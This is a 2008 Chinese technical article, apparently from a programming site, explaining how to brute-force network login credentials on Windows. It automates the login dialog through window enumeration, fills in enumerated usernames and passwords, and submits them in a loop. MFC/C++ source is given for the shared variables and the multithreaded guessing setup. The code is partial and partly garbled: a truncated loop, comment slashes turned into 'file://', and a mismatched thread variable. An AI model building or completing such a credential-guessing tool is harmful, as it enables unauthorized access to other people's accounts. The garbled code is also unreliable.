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2008-10-28 18:23:43
网络用户密码猜解算法的主要思想是:利用提供的窗口枚举函数EnumWindows ()找到网络登录窗口。利用子窗口枚举函数EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位网络登录窗口上的各个控件。
利用SendDlgItemMessage()或SetDlgItemText()来输入用户名及密码。利用SendMessage()发送“确定”消息。这样一来,就利用程序完成了整个网络登录过程。在重复这个过程中采用枚举的用户名和密码,进而完成网络用户名及密码的枚举猜解。
一、猜解过程流程:
为说明问题,下面只写出主要的过程。对于关键过程给出用V实现的源码。下面的流程中Mutex.Lock和Mutex.UnLock之间的代码只允许单线程访问。“密码枚举完”是指用户指定的字符集合已被枚举完,程序将再枚举一个新的用户名,然后重新枚举这个字符集合。关于源码中各函数的具体用法,请参阅MSDN。关于多线程的用法,可参阅《Visual技术内幕》。
下面给出关键流程的源代码
1. 全局变量:
struct _Thread
{
CWinThread *pThread;
};
_Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚举线程数
CEvent gEventNextPass;//取下一个密码,为实现同步引进
CEvent gEventPassOk;//已取得密码,为实现同步引进
CEvent gEventNextUser;//取下一个用户名,为实现同步引进
CEvent gEventUserOk;// 已取得用户名,为实现同步引进
CMutex gMutex;//互斥量,只允许单线程访问
char cCurrentPass[MAX_PASSWORD_LENGTH]; file://当前使用的密码。
char cCurrentUser[MAX_USER_LENGTH];//当前使用的用户名
2. 线程启动:
{
file://密码枚举线程
if(PassTread[0].pThread==NULL)
{
PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
file://这里略去了从文件取得密码的代码,这些代码和用户名枚举过程的代码差不多
}
file://用户名枚举线程
if(UserTread[0].pThread==NULL)
{
UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
}
file://窗口枚举线程
for(int i=0;i
{
if(WindowThread[i].pThread==NULL){
WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,
THREAD_PRIORITY_LOWEST);
WindowThread[i].pThread->m_bAutoDelete=TRUE;
}
}
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